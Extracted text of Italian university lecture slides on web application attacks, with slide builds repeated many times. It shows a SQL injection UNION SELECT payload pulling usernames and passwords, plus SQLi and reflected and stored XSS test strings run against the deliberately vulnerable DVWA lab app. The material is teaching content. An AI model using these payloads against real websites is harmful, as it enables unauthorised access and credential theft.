GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

17

http://pralab.diee.unica.it

Live Demo

18

Per i nostri primi test useremo la macchina virtuale a vostra disposizione sui computer del laboratorio. In particolare vedremo DVWA (Damn Vulnerable Web App)

Avviatela e puntate il vostro browser all’indirizzo: http://127.0.0.1:8080/dvwa/login.php

admin

admin

http://pralab.diee.unica.it

Damn Vulnerable Web App

19

http://pralab.diee.unica.it

Damn Vulnerable Web App SQLi

20

Come posso verificare se esiste una vulnerabilità SQLi?

http://pralab.diee.unica.it

Damn Vulnerable Web App SQLi

20

Come posso verificare se esiste una vulnerabilità SQLi?

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=%27%2F**%2FOR%2F**%2F1%3D%271&Submit=Submit#

http://pralab.diee.unica.it

Damn Vulnerable Web App XSS

21

Come posso verificare se esiste una vulnerabilità XSS?

http://pralab.diee.unica.it

Damn Vulnerable Web App XSS

21

Come posso verificare se esiste una vulnerabilità XSS?

•http://127.0.0.1:8080/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27ciao!%27%29%3C%2Fscript%3E#

http://pralab.diee.unica.it

Damn Vulnerable Web App stored XSS

22

Come posso verificare se esiste una vulnerabilità XSS (stored)?

http://pralab.diee.unica.it

Damn Vulnerable Web App stored XSS

22

Come posso verificare se esiste una vulnerabilità XSS (stored)?

•ad esempio, inserite un messaggio ad hoc: •interessante!<script>alert('vulnerable')</script>

http://pralab.diee.unica.it

Live Demo

23

https://hack.me/101229/web-app-hack-tutorial.html

Per i nostri test più approfonditi useremo

http://pralab.diee.unica.it

Nella prossima lezione• Vedremo come prevenire, rilevare e bloccare gli attacchi visti in

questa lezione

24